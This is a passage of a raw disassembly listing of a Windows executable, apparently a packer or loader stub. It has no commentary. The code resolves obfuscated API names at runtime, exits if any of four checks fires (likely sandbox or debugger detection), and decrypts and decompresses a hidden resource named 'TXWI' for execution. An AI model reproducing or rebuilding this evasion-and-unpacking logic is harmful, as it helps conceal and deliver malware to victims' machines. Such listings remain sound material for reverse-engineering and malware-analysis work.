		mov	eax, [ebp+var_30]
		call	sub_40198C
		push	eax		; lpProcName
		mov	eax, ds:hModule
		push	eax		; hModule
		call	GetProcAddress
		mov	ds:dword_406134, eax
		lea	edx, [ebp+var_34]
		mov	eax, offset dword_403DA0
		call	sub_403758
		mov	eax, [ebp+var_34]
		call	sub_40198C
		push	eax
		mov	eax, ds:hModule
		push	eax
		call	ds:dword_406134
		mov	[ebp+var_18], eax
		lea	edx, [ebp+var_38]
		mov	eax, offset dword_403DB8
		call	sub_403758
		mov	eax, [ebp+var_38]
		call	sub_40198C
		push	eax
		mov	eax, ds:hModule
		push	eax
		call	ds:dword_406134
		mov	[ebp+var_1C], eax
		lea	edx, [ebp+var_3C]
		mov	eax, offset dword_403DD0
		call	sub_403758
		mov	eax, [ebp+var_3C]
		call	sub_40198C
		push	eax
		mov	eax, ds:hModule
		push	eax
		call	ds:dword_406134
		mov	[ebp+var_20], eax
		lea	edx, [ebp+var_40]
		mov	eax, offset dword_403DE8
		call	sub_403758
		mov	eax, [ebp+var_40]
		call	sub_40198C
		push	eax
		mov	eax, ds:hModule
		push	eax
		call	ds:dword_406134
		mov	[ebp+var_24], eax
		lea	edx, [ebp+var_44]
		mov	eax, offset loc_403E00
		call	sub_403758
		mov	eax, [ebp+var_44]
		call	sub_40198C
		push	eax
		mov	eax, ds:hModule
		push	eax
		call	ds:dword_406134
		mov	[ebp+var_28], eax
		push	0Ah
		mov	eax, [ebp+var_8]
		push	eax
		mov	eax, ds:dword_406114
		push	eax
		call	[ebp+var_18]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		push	eax
		mov	eax, ds:dword_406114
		push	eax
		call	[ebp+var_1C]
		mov	edx, [ebp+var_4]
		mov	[edx], eax
		mov	eax, [ebp+var_10]
		push	eax
		mov	eax, ds:dword_406114
		push	eax
		call	[ebp+var_20]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_14]
		push	eax
		call	[ebp+var_24]
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jz	short loc_403D3F
		mov	eax, [ebp+var_14]
		push	eax
		call	[ebp+var_28]


loc_403D3F:				; CODE XREF: sub_403BC4+172j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_403D61


loc_403D4C:				; CODE XREF: sub_403BC4+19Bj
		lea	eax, [ebp+var_44]
		mov	edx, 7
		call	sub_401704
		retn
; ---------------------------------------------------------------------------


loc_403D5A:				; DATA XREF: sub_403BC4+26o
		jmp	loc_4014B0
; ---------------------------------------------------------------------------
		jmp	short loc_403D4C
; ---------------------------------------------------------------------------


loc_403D61:				; CODE XREF: sub_403BC4+195j
					; DATA XREF: sub_403BC4+183o
		mov	eax, [ebp+var_C]
		mov	esp, ebp
		pop	ebp
		retn
sub_403BC4	endp

; ---------------------------------------------------------------------------
		dd 0FFFFFFFFh, 0Ch
dword_403D70	dd 0A9ADA0A6h, 6D6EA7A0h, 0A7A79F69h, 0	; DATA XREF: sub_403BC4+34o
		dd 0FFFFFFFFh, 0Eh
dword_403D88	dd 8BAFA082h, 7C9EAAADh, 0A0AD9F9Fh, 0AEAEh, 0FFFFFFFFh
					; DATA XREF: sub_403BC4+54o
		dd 0Dh
dword_403DA0	dd 9FA9A481h, 0AAAEA08Dh, 0A09EADB0h, 7Ch, 0FFFFFFFFh
					; DATA XREF: sub_403BC4+7Ao
		dd 0Eh
dword_403DB8	dd 0A0B5A48Eh, 0A08DA1AAh, 0ADB0AAAEh, 0A09Eh, 0FFFFFFFFh
					; DATA XREF: sub_403BC4+9Fo
		dd 0Ch
dword_403DD0	dd 9F9CAA87h, 0AAAEA08Dh, 0A09EADB0h, 0	; DATA XREF: sub_403BC4+C4o
		dd 0FFFFFFFFh, 0Ch
dword_403DE8	dd 0A69EAA87h, 0AAAEA08Dh, 0A09EADB0h, 0 ; DATA	XREF: sub_403BC4+E9o
		dd 0FFFFFFFFh, 0Ch
; ---------------------------------------------------------------------------


loc_403E00:				; DATA XREF: sub_403BC4+10Eo
		sub	dword ptr [ebp-5F725F60h], 0ADB0AAAEh
		sahf
		mov	al, large ds:0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403E10	proc near		; DATA XREF: CODE:00403E74o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_403E2F
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_403E36


loc_403E2E:				; CODE XREF: sub_403E10+24j
		retn
; ---------------------------------------------------------------------------


loc_403E2F:				; DATA XREF: sub_403E10+6o
		jmp	loc_4014B0
; ---------------------------------------------------------------------------
		jmp	short loc_403E2E
; ---------------------------------------------------------------------------


loc_403E36:				; CODE XREF: sub_403E10:loc_403E2Ej
					; DATA XREF: sub_403E10+19o
		pop	ebp
		retn
sub_403E10	endp

; ---------------------------------------------------------------------------
dword_403E38	dd 7, 403E40h, 401C90h,	401C60h, 401B48h, 401B00h, 401CC8h
					; DATA XREF: start+Fo
		dd 401C98h, 401D30h, 401D00h, 401F10h, 401EE0h,	40263Ch
		dd 40260Ch, 0
		dd offset sub_403E10

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

		public start

start		proc near
		push	ebp
		mov	ebp, esp
		mov	ecx, 7


loc_403E80:				; CODE XREF: start+Dj
		push	0
		push	0
		dec	ecx
		jnz	short loc_403E80
		mov	eax, offset dword_403E38
		call	sub_401C1C
		xor	eax, eax
		push	ebp
		push	offset loc_40408F
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		call	sub_402644
		call	loc_403630
		nop
		pushfw
		push	0Ah


loc_403EAE:				; CODE XREF: start+3Bj	sub_403EB5+6j
		call	sub_403EB5
		jnb	short loc_403EAE
start		endp


; =============== S U B	R O U T	I N E =======================================



sub_403EB5	proc near		; CODE XREF: start:loc_403EAEp

arg_0		= dword	ptr  4

		add	esp, 4
		dec	[esp-4+arg_0]
		jns	short loc_403EAE
		add	esp, 4
		popfw
		nop
		call	sub_402644
		call	sub_403990
		cmp	al, 1
		jnz	short loc_403ED8
		push	0		; uExitCode
		call	ExitProcess_0


loc_403ED8:				; CODE XREF: sub_403EB5+1Aj
		call	sub_403818
		cmp	al, 1
		jnz	short loc_403EE8
		push	0		; uExitCode
		call	ExitProcess_0


loc_403EE8:				; CODE XREF: sub_403EB5+2Aj
		call	sub_403AAC
		cmp	al, 1
		jnz	short loc_403EF8
		push	0		; uExitCode
		call	ExitProcess_0


loc_403EF8:				; CODE XREF: sub_403EB5+3Aj
		call	sub_4037F0
		cmp	al, 1
		jnz	short loc_403F08
		push	0		; uExitCode
		call	ExitProcess_0


loc_403F08:				; CODE XREF: sub_403EB5+4Aj
		call	loc_403630
		call	sub_402644
		lea	edx, [ebp-18h]
		mov	eax, offset dword_4040A4
		call	sub_40368C
		lea	edx, [ebp-1Ch]
		mov	eax, offset aSdgdsgsd ;	"sdgdsgsd"
		call	sub_40368C
		lea	edx, [ebp-20h]
		mov	eax, offset aSdgsd ; "sdgsd"
		call	sub_40368C
		lea	edx, [ebp-24h]
		mov	eax, offset aNsdgdsgsd ; "nsdgdsgsd"
		call	sub_40368C
		call	loc_403630
		call	loc_403630
		call	loc_403630
		call	sub_402644
		call	sub_401300
		test	eax, eax
		jle	short loc_403FA5
		mov	[ebp-14h], eax
		mov	ds:dword_406148, 1


loc_403F70:				; CODE XREF: sub_403EB5+EEj
		push	ds:dword_40614C
		push	offset dword_4040E8
		lea	edx, [ebp-28h]
		mov	eax, ds:dword_406148
		call	sub_401360
		push	dword ptr [ebp-28h]
		mov	eax, offset dword_40614C
		mov	edx, 3
		call	sub_401854
		inc	ds:dword_406148
		dec	dword ptr [ebp-14h]
		jnz	short loc_403F70


loc_403FA5:				; CODE XREF: sub_403EB5+ACj
		mov	eax, offset dword_406144
		mov	edx, offset aTxwi ; "TXWI"
		call	sub_401734
		mov	eax, ds:dword_406144
		call	sub_40198C
		mov	edx, eax
		mov	eax, offset dword_40613C
		call	sub_403BC4
		mov	ds:dword_406138, eax
		cmp	ds:dword_406138, 0
		jz	loc_404066
		mov	eax, offset dword_406140
		mov	edx, ds:dword_40613C
		call	sub_401A20
		mov	eax, offset dword_406140
		call	sub_4019D8
		mov	edx, eax
		mov	eax, ds:dword_406138
		mov	ecx, ds:dword_40613C
		call	sub_4011B4
		lea	edx, [ebp-34h]
		mov	eax, ds:dword_406140
		call	sub_403758
		mov	eax, [ebp-34h]
		push	eax
		lea	eax, [ebp-30h]
		push	eax
		call	sub_401D4C
		mov	eax, [ebp-30h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		call	sub_401E0C
		mov	edx, [ebp-2Ch]
		mov	eax, offset dword_406140
		call	sub_401734
		push	0
		lea	edx, [ebp-38h]
		xor	eax, eax
		call	sub_401360
		mov	eax, [ebp-38h]
		push	eax
		mov	eax, offset dword_406140
		call	sub_4019D8
		mov	ecx, ds:dword_40614C
		pop	edx
		call	sub_401FF4
		test	al, al
		jmp	short loc_40406D
; ---------------------------------------------------------------------------


loc_404066:				; CODE XREF: sub_403EB5+121j
		push	0		; uExitCode
		call	ExitProcess_0


loc_40406D:				; CODE XREF: sub_403EB5+1AFj
		push	0		; uExitCode
		call	ExitProcess_0
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_404096


loc_404081:				; CODE XREF: sub_403EB5+1DFj
		lea	eax, [ebp-38h]
		mov	edx, 9
		call	sub_401704
		retn
; ---------------------------------------------------------------------------


loc_40408F:				; DATA XREF: start+1Co
		jmp	loc_4014B0
; ---------------------------------------------------------------------------
		jmp	short loc_404081
; ---------------------------------------------------------------------------


loc_404096:				; CODE XREF: sub_403EB5+1D9j
					; DATA XREF: sub_403EB5+1C7o
		call	sub_4015F8
sub_403EB5	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4
		dd 0FFFFFFFFh, 2
dword_4040A4	dd 6473h, 0FFFFFFFFh, 8	; DATA XREF: sub_403EB5+60o
aSdgdsgsd	db 'sdgdsgsd',0         ; DATA XREF: sub_403EB5+6Do
		align 4
		dd 0FFFFFFFFh, 5
aSdgsd		db 'sdgsd',0            ; DATA XREF: sub_403EB5+7Ao
		align 4
		dd 0FFFFFFFFh, 9
aNsdgdsgsd	db 'nsdgdsgsd',0        ; DATA XREF: sub_403EB5+87o
		align 10h
		dd 0FFFFFFFFh, 1
dword_4040E8	dd 20h,	0FFFFFFFFh, 4	; DATA XREF: sub_403EB5+C1o
aTxwi		db 'TXWI',0             ; DATA XREF: sub_403EB5+F5o
		align 4
		dd 41h dup(0)
		dd 380h	dup(?)
CODE		ends

; Section 2. (virtual address 00005000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 00003600
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
DATA		segment	para public 'DATA' use32
		assume cs:DATA
		;org 405000h
dword_405000	dd 0			; DATA XREF: sub_4015C8+2w
					; sub_4015F8+9o ...
dword_405004	dd 0			; DATA XREF: sub_401150w
					; sub_4015F8:loc_401627r ...
byte_405008	db 0			; DATA XREF: sub_401488r
		db 8Dh,	40h, 0
dword_40500C	dd 0			; DATA XREF: sub_401AD0r sub_401AD0+8w
dword_405010	dd 0			; DATA XREF: sub_401AE0+4r
off_405014	dd offset sub_401AE0	; DATA XREF: sub_4015F8+66r
off_405018	dd offset sub_40151C	; DATA XREF: sub_40151C+Fr
					; sub_40151C+35r ...
off_40501C	dd offset sub_4014E8	; DATA XREF: sub_4015F8:loc_401646r
off_405020	dd offset nullsub_1	; DATA XREF: sub_4015F8:loc_401679r
off_405024	dd offset nullsub_1	; DATA XREF: CODE:loc_401B28r
; DWORD	dwFlags
dwFlags		dd 0			; DATA XREF: sub_401080+1r
					; sub_401094+4r ...
off_40502C	dd offset sub_401080	; DATA XREF: sub_4010D0+4r
					; sub_401100+3Fr
off_405030	dd offset sub_401094	; DATA XREF: sub_4010E8+4r
					; sub_401100+26r
off_405034	dd offset sub_4010B8	; DATA XREF: sub_401100+Dr
byte_405038	db 0			; DATA XREF: sub_40115C+36r
aRsu		db 'ËÌÈÉ×ÏÈÍÎÛØÊÙÚÜİŞßàáã',0
aFxn@		db 'äå@',0
off_405054	dd offset nullsub_1	; DATA XREF: sub_4015F8+38r
dword_405058	dd 0			; DATA XREF: sub_401C10o
					; sub_401C1C+33o
dword_40505C	dd 0			; DATA XREF: sub_401C1C+1Bw
dword_405060	dd 0			; DATA XREF: sub_401C1C+22w
dword_405064	dd 0			; DATA XREF: sub_401C1C+29w
		align 10h
dword_405070	dd 1			; DATA XREF: sub_401F3C+Fr
		dd 10h,	2, 20h,	4, 40h,	4, 40h,	5Ch dup(0)
		align 1000h
DATA		ends

; Section 3. (virtual address 00006000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000000 (	  0.)
; Offset to raw	data for section: 00003800
; Flags	C0000000: Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Regular
; Segment permissions: Read/Write
BSS		segment	para public '' use32
		assume cs:BSS
		;org 406000h
		assume es:nothing, ss:nothing, ds:CODE,	fs:nothing, gs:nothing
dword_406000	dd ?			; DATA XREF: CODE:00401B5Bw
dword_406004	dd ?			; DATA XREF: sub_40115C+9r
					; sub_40115C+16r
dword_406008	dd ?			; DATA XREF: sub_401488+1Cr
					; sub_40158Cw
dword_40600C	dd ?			; DATA XREF: sub_40158C+Aw
dword_406010	dd ?			; DATA XREF: sub_4015F8+A0r
					; sub_4015F8+A9r
dword_406014	dd ?			; DATA XREF: sub_40158C+29w
dword_406018	dd ?			; DATA XREF: CODE:00401B6Fw
byte_40601C	db ?			; DATA XREF: sub_40158C+2Ew
		align 10h
dword_406020	dd ?			; DATA XREF: sub_4015F8+Eo
dword_406024	dd ?			; DATA XREF: CODE:00401B11w
					; CODE:00401B48w
; HANDLE hHeap
hHeap		dd ?			; DATA XREF: sub_401080+7r
					; sub_401094+Dr ...
dword_40602C	dd 2 dup(?)		; DATA XREF: sub_4014E8+4o
					; sub_4015C8+Do ...
dword_406034	dd ?			; DATA XREF: sub_401570r
					; sub_40158C+14w
dword_406038	dd ?			; DATA XREF: sub_40151C+20w
					; sub_40158C+1Bw
dword_40603C	dd ?			; DATA XREF: sub_40158C+20w
		dd 6 dup(?)
dword_406058	dd ?			; DATA XREF: CODE:00401B19r
					; CODE:00401B22r
dword_40605C	dd ?			; DATA XREF: sub_401AA8o
					; sub_401AA8+19w
		dd 2Ah dup(?)
byte_406108	db ?			; DATA XREF: sub_401BD0r
		align 4
; DWORD	TlsIndex
TlsIndex	dd ?			; DATA XREF: sub_401B8C+Cr
					; sub_401B8C+37r ...
		dd ?
dword_406114	dd ?			; DATA XREF: sub_401C1C+11w
					; sub_401C1C+16r ...
dword_406118	dd ?			; DATA XREF: CODE:00401C71w
					; CODE:00401C90w
dword_40611C	dd ?			; DATA XREF: sub_401BD0:loc_401BFFr
dword_406120	dd ?			; DATA XREF: CODE:00401CA9w
					; CODE:00401CC8w
dword_406124	dd ?			; DATA XREF: CODE:00401D11w
					; CODE:00401D30w
dword_406128	dd ?			; DATA XREF: CODE:00401EF1w
					; CODE:00401F10w
dword_40612C	dd ?			; DATA XREF: CODE:0040261Dw
					; CODE:0040263Cw
; HMODULE hModule
hModule		dd ?			; DATA XREF: sub_403818+3Dw
					; sub_403818+58r ...
dword_406134	dd ?			; DATA XREF: sub_403818+63w
					; sub_403818+84r ...
dword_406138	dd ?			; DATA XREF: sub_403EB5+115w
					; sub_403EB5+11Ar ...
dword_40613C	dd ?			; DATA XREF: sub_403EB5+10Bo
					; sub_403EB5+12Cr ...
dword_406140	dd ?			; DATA XREF: sub_403EB5+127o
					; sub_403EB5+137o ...
dword_406144	dd ?			; DATA XREF: sub_403EB5:loc_403FA5o
					; sub_403EB5+FFr
dword_406148	dd ?			; DATA XREF: sub_403EB5+B1w
					; sub_403EB5+C9r ...
dword_40614C	dd ?			; DATA XREF: sub_403EB5:loc_403F70r
					; sub_403EB5+D6o ...
		align 1000h
BSS		ends

;
; Imports from kernel32.dll
;
; Section 4. (virtual address 00007000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000400 (   1024.)
; Offset to raw	data for section: 00003800
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Externs
; _idata
; DWORD	__stdcall GetCurrentThreadId()
		extrn __imp_GetCurrentThreadId:dword ; DATA XREF: GetCurrentThreadIdr
; void __stdcall ExitProcess(UINT uExitCode)
		extrn __imp_ExitProcess:dword ;	DATA XREF: ExitProcessr
		extrn RtlUnwind:dword	; DATA XREF: CODE:loc_401060r
; void __stdcall RaiseException(DWORD dwExceptionCode,DWORD dwExceptionFlags,DWORD nNumberOfArguments,const ULONG_PTR *lpArguments)
		extrn RaiseException:dword ; DATA XREF:	CODE:loc_401058r
; LPSTR	__stdcall GetCommandLineA()
		extrn __imp_GetCommandLineA:dword ; DATA XREF: GetCommandLineAr
; BOOL __stdcall TlsSetValue(DWORD dwTlsIndex,LPVOID lpTlsValue)
		extrn __imp_TlsSetValue:dword ;	DATA XREF: TlsSetValuer
; LPVOID __stdcall TlsGetValue(DWORD dwTlsIndex)
		extrn __imp_TlsGetValue:dword ;	DATA XREF: TlsGetValuer
; HLOCAL __stdcall LocalAlloc(UINT uFlags,SIZE_T uBytes)
		extrn __imp_LocalAlloc:dword ; DATA XREF: LocalAllocr
; HMODULE __stdcall GetModuleHandleA(LPCSTR lpModuleName)
		extrn __imp_GetModuleHandleA:dword ; DATA XREF:	GetModuleHandleAr
; DWORD	__stdcall GetModuleFileNameA(HMODULE hModule,LPCH lpFilename,DWORD nSize)
		extrn __imp_GetModuleFileNameA:dword ; DATA XREF: GetModuleFileNameAr
; BOOL __stdcall FreeLibrary(HMODULE hLibModule)
		extrn __imp_FreeLibrary:dword ;	DATA XREF: FreeLibraryr
; BOOL __stdcall HeapFree(HANDLE hHeap,DWORD dwFlags,LPVOID lpMem)
		extrn __imp_HeapFree:dword ; DATA XREF:	HeapFreer
; LPVOID __stdcall HeapReAlloc(HANDLE hHeap,DWORD dwFlags,LPVOID lpMem,SIZE_T dwBytes)
		extrn __imp_HeapReAlloc:dword ;	DATA XREF: HeapReAllocr
; LPVOID __stdcall HeapAlloc(HANDLE hHeap,DWORD	dwFlags,SIZE_T dwBytes)
		extrn __imp_HeapAlloc:dword ; DATA XREF: HeapAllocr
; HANDLE __stdcall GetProcessHeap()
		extrn __imp_GetProcessHeap:dword ; DATA	XREF: GetProcessHeapr

;
; Imports from user32.dll
;
; LPSTR	__stdcall CharNextA(LPCSTR lpsz)
		extrn __imp_CharNextA:dword ; DATA XREF: CharNextAr

;
; Imports from kernel32.dll
;
; void __stdcall Sleep(DWORD dwMilliseconds)
		extrn __imp_Sleep:dword	; DATA XREF: Sleepr
; HMODULE __stdcall LoadLibraryA(LPCSTR	lpLibFileName)
		extrn __imp_LoadLibraryA:dword ; DATA XREF: LoadLibraryAr
; FARPROC __stdcall GetProcAddress(HMODULE hModule,LPCSTR lpProcName)
		extrn __imp_GetProcAddress:dword ; DATA	XREF: GetProcAddressr
; HMODULE __stdcall GetModuleHandleA_0(LPCSTR lpModuleName)
		extrn __imp_GetModuleHandleA_0:dword ; DATA XREF: GetModuleHandleA_0r
; DWORD	__stdcall GetModuleFileNameA_0(HMODULE hModule,LPCH lpFilename,DWORD nSize)
		extrn __imp_GetModuleFileNameA_0:dword ; DATA XREF: GetModuleFileNameA_0r
; void __stdcall ExitProcess_0(UINT uExitCode)
		extrn __imp_ExitProcess_0:dword	; DATA XREF: ExitProcess_0r

;
; Imports from ntdll.dll
;
		extrn __imp_RtlDecompressBuffer:dword ;	DATA XREF: RtlDecompressBufferr


; Section 5. (virtual address 00008000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000000 (	  0.)
; Offset to raw	data for section: 00003C00
; Flags	C0000000: Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Regular
; Segment permissions: Read/Write
_tls		segment	para public '' use32
		assume cs:_tls
		;org 408000h
		assume es:nothing, ss:nothing, ds:CODE,	fs:nothing, gs:nothing
TlsStart	dd ?			; DATA XREF: .rdata:TlsDirectoryo
TlsEnd		dd 3FFh	dup(?)		; DATA XREF: .rdata:TlsEnd_ptro
_tls		ends

; Section 6. (virtual address 00009000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 00003C00
; Flags	50000040: Data Shareable Readable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read
_rdata		segment	para public 'DATA' use32
		assume cs:_rdata
		;org 409000h
TlsDirectory	dd offset TlsStart
TlsEnd_ptr	dd offset TlsEnd
TlsIndex_ptr	dd offset TlsIndex
TlsCallbacks_ptr dd offset TlsSizeOfZeroFill
TlsSizeOfZeroFill dd 0			; DATA XREF: .rdata:TlsCallbacks_ptro
TlsCharacteristics dd 0
		align 1000h
_rdata		ends


		end start